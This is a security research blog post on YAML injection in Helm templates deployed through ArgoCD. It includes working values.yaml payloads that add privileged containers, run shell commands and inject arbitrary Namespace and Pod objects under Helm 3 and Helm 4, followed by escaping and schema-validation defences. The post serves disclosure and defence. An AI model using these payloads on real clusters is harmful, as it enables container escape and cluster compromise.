Charting your way in: Helm template injection

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Content

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Charting your way in: Helm template injection

Written by Paul Barbé - 29/06/2026 - in - Download

During the audit of a Kubernetes cluster, we encountered an injection in a Helm template applied through ArgoCD. To our surprise, very few resources exist regarding YAML injection in vulnerable Helm templates. In this blog post, we will explore this kind of vulnerability and how to prevent its exploitation.

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Introduction

Helm

Helm is a widely used project for managing and deploying resources in a Kubernetes cluster. Through the use of templates that can be customized, it renders YAML manifest files and applies them to the cluster. Moreover, with the use of labels, it allows managing deployments with features such as version control and reconciliation.

This helps cluster administrators deploy all necessary resources for an application and manage dependencies.

Helm templates are YAML files with templating syntax similar to Jinja templating (in reality, it uses Golang templating12.). User-defined parameters, called `values` and typically stored in a file named `values.yaml`, allow Kubernetes manifests to be rendered with custom inputs.

To create a Helm Chart with its template and values, we can use the Helm CLI. We will use the following example:

```
$ helm create myapp
$ cat << EOF > myapp/values.yaml
replicaCount: 3
image:
  repository: myregistry/myapp
  tag: "1.0.0"
EOF

$ rm -r myapp/templates/*
$ cat << EOF > myapp/templates/deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: myapp
spec:
  replicas: {{ .Values.replicaCount }}
  selector:
    matchLabels:
      app: myapp
  template:
    metadata:
      labels:
        app: myapp
    spec:
      containers:
        - name: myapp
          image: "{{ .Values.image.repository }}:{{ .Values.image.tag }}"
          ports:
          - containerPort: 80
EOF
```

This template creates a `Deployment` named `myapp` where:

-

The number of Pods (`spec.replicas`) is dynamically set by `{{ .Values.replicaCount }}`

-

The container image for the `myapp` container is dynamically set by `{{ .Values.image.repository }}:{{ .Values.image.tag }}`

Templating the Helm chart with our values can be done with the following commands, which just prints out the resulting rendered manifest:

```
$ helm template ./myapp
---
# Source: myapp/templates/deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: myapp
spec:
  replicas: 3
  selector:
    matchLabels:
      app: myapp
  template:
    metadata:
      labels:
        app: myapp
    spec:
      containers:
        - name: myapp
          image: "myregistry/myapp:1.0.0"
          ports:
          - containerPort: 80
```

During this step, some verifications are performed to ensure that the chart produced a well-formatted YAML, but not that it is syntactically correct as a Kubernetes manifest, as we will see later.

It can then be applied inside a cluster using the default `.kube/config` configuration:

```
$ helm install myapp ./myapp
NAME: myapp
LAST DEPLOYED: Fri Oct 17 14:50:17 2025
NAMESPACE: default
STATUS: deployed
REVISION: 1
TEST SUITE: None
```

CI/CD Setup

One of the main reasons Helm became so popular in the Kubernetes community is its simplicity in sharing Helm charts to deploy complex applications, while letting end administrators only configure the values they need. The plain text format of Helm charts makes them easy to store in version control and use as infrastructure-as-code in Kubernetes.

We often see Helm charts stored in Git repositories, with CI configurations ensuring that any changes in them or their `values.yaml` files are applied nearly in real-time to the cluster.

To achieve this, ArgoCD[3] has become one of the go-to solutions. It allows defining CI pipelines that monitor both the state of the code repository and the resources in the cluster.

A common pattern is to directly apply a Helm chart from a Git repo, using ArgoCD's Application CRD[4].

Here's an example of how to do that using a Helm chart located in a Github repository under the `charts/myapp/` directory:

```
apiVersion: argoproj.io/v1alpha1
kind: Application
metadata:
  name: myapp
  namespace: argocd
spec:
  project: default
  source:
    repoURL: https://github.com/synacktiv/example-helm-deployments.git
    targetRevision: main
    path: charts/myapp
    helm:
      valueFiles:
        - values/production.yaml
  destination:
    server: https://kubernetes.default.svc
    namespace: myapp
  syncPolicy:
    automated:
      prune: true
      selfHeal: true
    syncOptions:
      - CreateNamespace=true
```

While convenient, this can lead to trivial container escapes or privilege escalation, since anyone with push privileges in the repository will be able to deploy arbitrary resources or workload.

As a solution, concerned administrators often allow project developers to only control the values of pre-approved and pre-configured charts. That way, it is assumed that only safe, pre-approved

resources with limited configurable fields will be deployed. This can be achieved using multi-source projects[5].

```
apiVersion: argoproj.io/v1alpha1
kind: Application
metadata:
 name: myapp
 namespace: argocd
spec:
 project: default
  sources:
  - repoURL: 'https://synacktiv-exemple-repo/helm-charts'
    chart: my-apps
    targetRevision: 1.0
    helm:
     valueFiles:
     - $values/charts/prometheus/values.yaml
  - repoURL: 'https://github.com/synacktiv/example-helm-deployments.git'
    targetRevision: main
    ref: values
 destination:
  server: https://kubernetes.default.svc
  namespace: myapp
 syncPolicy:
  automated:
   prune: true
   selfHeal: true
```

In reality, if we use the previous template, this configuration will be injectable.

The Injection

Helm v3

The injection possibilities lie in the fact that variables are used without any escaping or validation with `.Values`.

While this seems to be a known risk, we found no resource explaining in depth why this is a problem and how it can be exploited. Moreover, the Helm documentation isn't clear on this subject. The topic of escaping variables comes only after numerous injectable examples in theHelm chart template guide[6], and no direct security consideration is given.

Take this sentence from the Helm documentation[7]:

> Let's start with a best practice: When injecting strings from the `.Values` object into the template, we ought to quote these strings.

Helm presents escaping functions as best practices only regarding strings. No security warning is given.

So, let’s dive into the vulnerability itself. We'll use our previous example along with its values file.

```
apiVersion: apps/v1
kind: Deployment
metadata:
 name: myapp
spec:
 replicas: {{ .Values.replicaCount }}
 selector:
  matchLabels:
   app: myapp
 template:
  metadata:
   labels:
    app: myapp
  spec:
   containers:
    - name: myapp
      image: "{{ .Values.image.repository }}:{{ .Values.image.tag }}"
      ports:
      - containerPort: 80
```

All values inserted in this chart are injectable. The trick? Using multi-lines values starting with `|`, for example:

```
replicaCount: |
 3
  injectedAttribute: True
image:
 repository: myregistry/myapp
 tag: '1.0.0'
```

Templating these values will inject the `injectedAttribute: True` parameter inside the generated manifest:

```
$ helm template ./myapp
---
# Source: myapp/templates/deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
 name: myapp
spec:
 replicas: 3
 injectedAttribute: True

 selector:
  matchLabels:
   app: myapp
 template:
  metadata:
   labels:
    app: myapp
  spec:
   containers:
    - name: myapp
      image: "myregistry/myapp:1.0.0"
      ports:
      - containerPort: 80
```

However, we can notice a newline character `\n` is added at the end of the injection. This can make things tricky when trying to inject into a string. Let's take the following values where the injection is carried out in the `tag` variable: we must take into account the indentation level and the context in order to close and restore it correctly, here through the use of `"`.

```
# values.yaml
replicaCount: 3
image:
 repository: myregistry/myapp
 tag: |
  1.0.0"
        command:
        - "echo injected
```

The generated YAML will be syntactically correct, even with the newline.

```
$ helm template ./myapp --debug
---
# Source: myapp/templates/deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: myapp
spec:
  replicas: 3
  selector:
    matchLabels:
      app: myapp
  template:
    metadata:
      labels:
        app: myapp
    spec:
      containers:
        - name: myapp
          image: "myregistry/myapp: 1.0.0"
          command:
          - "echo injected
"
          ports:
          - containerPort: 80
```

```
$ helm install myapp ./ --values=values.yaml
LAST DEPLOYED: Fri Oct 17 22:03:29 2025
NAMESPACE: default
NAME: myapp
STATUS: deployed
REVISION: 1
TEST SUITE: None
```

The newline is ultimately converted into a space, which can be verified by inspecting the resource within the cluster.

```
$ kubectl get deployment -o yaml myapp
apiVersion: apps/v1
kind: Deployment
metadata:
 [...]
spec:
 progressDeadlineSeconds: 600
 replicas: 3
 [...]
 template:
  metadata:
    [...]
  spec:
   containers:
   - command:
    - 'echo injected ' # \n is converted into a space
    image: 'myregistry/myapp: 1.0.0'
    imagePullPolicy: IfNotPresent
```

Such behavior potentially restricts exploitation depending on the targeted context. To bypass this, the `|-` sequence can be used to create multiline values without the final carriage return.

```
# values.yaml
replicaCount: 3
image:
 repository: myregistry/myapp
 tag: |-
  1.0.0"
        securityContext:
          privileged: true
        command: [ "/bin/sh", "-c" ]
        args:
        - "curl 1.1.1.1
```

Note that the indentation is important.

```
$ helm template ./myapp

---
# Source: myapp/templates/deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: myapp
spec:
  replicas: 3
  selector:
    matchLabels:
      app: myapp
  template:
    metadata:
      labels:
        app: myapp
    spec:
      containers:
        - name: myapp
          image: "myregistry/myapp:1.0.0"
          securityContext:
            privileged: true
          command: [ "/bin/sh", "-c" ]
          args:
          - "curl 1.1.1.1"
          ports:
          - containerPort: 80
```

We are able to add attributes to an existing object specification, allowing to execute arbitrary commands or change the security context of the Pod for easy container escapes. This can be enough in numerous situation, but we are also able to create arbitrary objects.

In YAML, multiple objects can be defined in the same manifest by using `---` as a separator. Nothing prevents us to use it to define new arbitrary objects. For example, the following `values.yaml` will inject a `Namespace` definition and a nginx Pod in this new namespace.

```yaml
# values.yaml
replicaCount: 3
image:
 repository: myregistry/myapp
 tag: |-
  1.0.0"
  ---
  apiVersion: v1
  kind: Namespace
  metadata:
   name: injection
   labels:
    name: injection
  ---
  apiVersion: v1
  kind: Pod
  metadata:
   name: nginx-pod
   namespace: injection
   labels:
    app: nginx
  spec:
   containers:
   - name: nginx-container
    image: nginx:latest
    ports:
    - containerPort: 80
   other:
    attribute:
     to:
      fix:
       context: "a
```

The `other.attribute.to.fix.context: "a` part has been added to generate a valid YAML. Even if these attributes will not be recognized as valid, trying to install the chart as is will work and the namespace and pod will be created in the cluster.

```
$ helm install myapp ./myapp --debug

client.go:142: 2025-10-17 22:13:18.134663858 +0200 CEST m=+0.101315381 [debug] creating 3 resource(s)
W1017 22:13:18.143600    4407 warnings.go:70] unknown field "spec.other"
NAME: myapp
LAST DEPLOYED: Fri Oct 17 22:13:18 2025
NAMESPACE: default
STATUS: deployed
REVISION: 1
TEST SUITE: None
USER-SUPPLIED VALUES:
{}

COMPUTED VALUES:
image:
 repository: myregistry/myapp
 tag: |-
  1.0.0"
  ---
  apiVersion: v1
  kind: Namespace
  metadata:
    name: injection
    labels:
      name: injection
  ---
  apiVersion: v1
  kind: Pod
  metadata:
    name: nginx-pod
    namespace: injection  # Specifies the namespace
    labels:
      app: nginx
  spec:
    containers:
    - name: nginx-container
      image: nginx:latest  # Uses the latest official Nginx image
      ports:
      - containerPort: 80
    other:
      attribute:
        to:
          fix:
```

```
            context: "a
replicaCount: 3

HOOKS:
MANIFEST:
---
# Source: myapp/templates/deployment.yaml
apiVersion: v1
kind: Namespace
metadata:
  name: injection
  labels:
    name: injection
---
# Source: myapp/templates/deployment.yaml
apiVersion: v1
kind: Pod
metadata:
  name: nginx-pod
  namespace: injection  # Specifies the namespace
  labels:
    app: nginx
spec:
  containers:
  - name: nginx-container
    image: nginx:latest  # Uses the latest official Nginx image
    ports:
    - containerPort: 80
  other:
    attribute:
      to:
        fix:
          context: "a"
          ports:
          - containerPort: 80
---
# Source: myapp/templates/deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: myapp
spec:
  replicas: 3
  selector:
```

```
  matchLabels:
    app: myapp
template:
  metadata:
    labels:
      app: myapp
  spec:
    containers:
      - name: myapp
        image: "myregistry/myapp:1.0.0"
```

We can verify that using `kubectl` commands:

```
$ kubectl get ns injection
NAME       STATUS   AGE
injection   Active   25s

$ kubectl get pod -n injection
NAME       READY   STATUS    RESTARTS   AGE
nginx-pod   0/1     Pending   0          25s
```

Such capabilities will most likely lead to cluster compromise. Depending on the configuration, we can create a `Role` or `ClusterRole`, along with their respective `Bindings`, or as in the previous example, deploy a privileged `Pod` in a new `Namespace` to bypass existing `Pod Security Admission` configuration.

Helm v4

Released in November 2025, Helm version 4 introduces changes regarding this type of injection. In this version, the `Server-Side Apply` mechanism is enabled by default, thereby delegating validation tasks to the Kubernetes API Server. Consequently, whereas non-existent attributes were simply ignored in Helm 3, invalid resources will no longer be deployed by default.

```
replicaCount: |
  3
    injectedAttribute: True
image:
  repository: myregistry/myapp
  tag: '1.0.0'
```

```
$ helm install myapp ./ --values=values.1.yaml --debug
[...]
level=DEBUG msg="using server-side apply for resource creation" forceConflicts=false dryRun=false fieldValidationDire
[...]
Error: INSTALLATION FAILED: server-side apply failed for object default/myapp apps/v1, Kind=Deployment: failed to cr
```

Executing the same exploitation vector under Helm 4 requires either utilizing exclusively existing attributes, or appending an additional resource to absorb the remaining context, which will subsequently be rejected. Applying this to the previous *namespace* injection scenario, a second *pod* resource is introduced.

```yaml
# values.yaml
replicaCount: 3
image:
 repository: myregistry/myapp
 tag: |-
  1.0.0"
  ---
  apiVersion: v1
  kind: Namespace
  metadata:
   name: injection
   labels:
    name: injection
  ---
  apiVersion: v1
  kind: Pod
  metadata:
   name: nginx-pod
   namespace: injection
   labels:
    app: nginx
  spec:
   containers:
   - name: nginx-container
    image: nginx:latest
    ports:
    - containerPort: 80
  ---
  apiVersion: v1 # Pour absorber le contexte
  kind: Pod
  metadata:
   name: not-deployed
   labels:
    app: nginx
  spec:
   other:
    attribute:
     to:
      fix:
       context: "a
```

```
$ helm4 install myapp myapp --values=values.yaml --debug

level=DEBUG msg="Created resource via patch" namespace="" name=injection gvk="/v1, Kind=Namespace"
level=DEBUG msg="Error creating resource via patch" namespace=default name=not-deployed gvk="/v1, Kind=Pod" er
level=DEBUG msg="Created resource via patch" namespace=injection name=nginx-pod gvk="/v1, Kind=Pod"
level=DEBUG msg="Created resource via patch" namespace=default name=myapp gvk="apps/v1, Kind=Deployment"
```

The *namespace* and the `nginx` *pod* are successfully created, while the `not-deployed` *pod* is rejected.

How to prevent it

In Helm

As usual, escaping user inputs will be the solution. The Helm template engine allows for multiple functions to manipulate the injected values.

As suggested in the Helm documentation, always `quote` your strings values. For string concatenation use the `printf` function before quoting the result:

```
image: {{ printf "%s:%s"  .Values.image.repository .Values.image.tag | quote}}
```

For integer or decimal values however, you should escape them using respectively the `int` or `float64` function. Note that if the value is not an int (or a float in the corresponding case) it will be defaulted to 0.

```
replicas: {{ .Values.replicaCount | int }}
```

For any other situation, or to perform additional check, you can use the `regexMatch` function in a fail-safe manner at the start of your template:

```
# Check image.tag
{{- if not (regexMatch "^(latest|1.1|dev)$" .Value.image.tag) }}
{{- fail "value image.tag does not respect the excepted format" }}
{{- end }}
```

Going further, you can leverage a JSON schema file to validate the structure and types of data provided in `values.yaml` 89.

For example, let's take our previous `values.yaml`, converted into JSON:

```
{
  "replicaCount": 3,
  "image": {
    "repository": "myregistry/myapp",
    "tag": "1.0.0"
  }
}
```

The equivalent JSON Schema will be:

```
{
  "$schema": "http://json-schema.org/schema",
  "type": "object",
  "properties": {
    "replicaCount": {
      "type": "number"
    },
    "image": {
      "type": "object",
      "properties": {
        "repository": {
          "type": "string",
          "pattern": "^[a-z0-9-_/:]+$"
        },
        "tag": {
          "type": "string",
           "pattern": "^(latest|1.1|dev)$"
        }
      },
      "required": [
        "repository",
        "tag"
      ]
    }
  },
  "required": [
    "replicaCount",
    "image"
  ]
}
```

It should be stored in `values.schema.json` and will be used for commands:

- helm template
- helm install
- helm upgrade
- helm lint

Trying to inject in this situation will result in an error

```
$ helm template ./myapp --debug

Error: values don't meet the specifications of the schema(s) in the following chart(s):
myapp:
- at '/replicaCount': got string, want number
- at '/image/tag': '1.0.0"\n---\napiVersion: [...]' does not match pattern '^(latest|1.1|dev)$'
```

In ArgoCD

Resources deployed by ArgoCD can and should be restricted to limit the extent of a successful injection attack. This should be implemented using the `clusterResourceWhitelist` field within the `AppProject` resource10.

An `AppProject` defines logical groups of applications and includes source repositories, destination clusters, and allowed resources. By allowing only required resources for your project, you prevent creation of sensitive, possibly cluster-scoped, resources. For example, to restrict object creation to only `Deployment` :

- 1. https://pkg.go.dev/text/template
- 2. https://helm.sh/docs/chart_template_guide/
- 3. https://argo-cd.readthedocs.io/en/stable/
- 4. https://argo-cd.readthedocs.io/en/stable/user-guide/helm/
- 5. https://argo-cd.readthedocs.io/en/latest/user-guide/multiple_sources/#h...
- 6. https://helm.sh/docs/chart_template_guide/getting_started/
- 7. https://helm.sh/docs/chart_template_guide/functions_and_pipelines/
- 8. https://helm.sh/docs/topics/charts#schema-files
- 9. https://www.arthurkoziel.com/validate-helm-chart-values-with-json-schem...
- 10. https://argo-cd.readthedocs.io/en/latest/user-guide/projects/
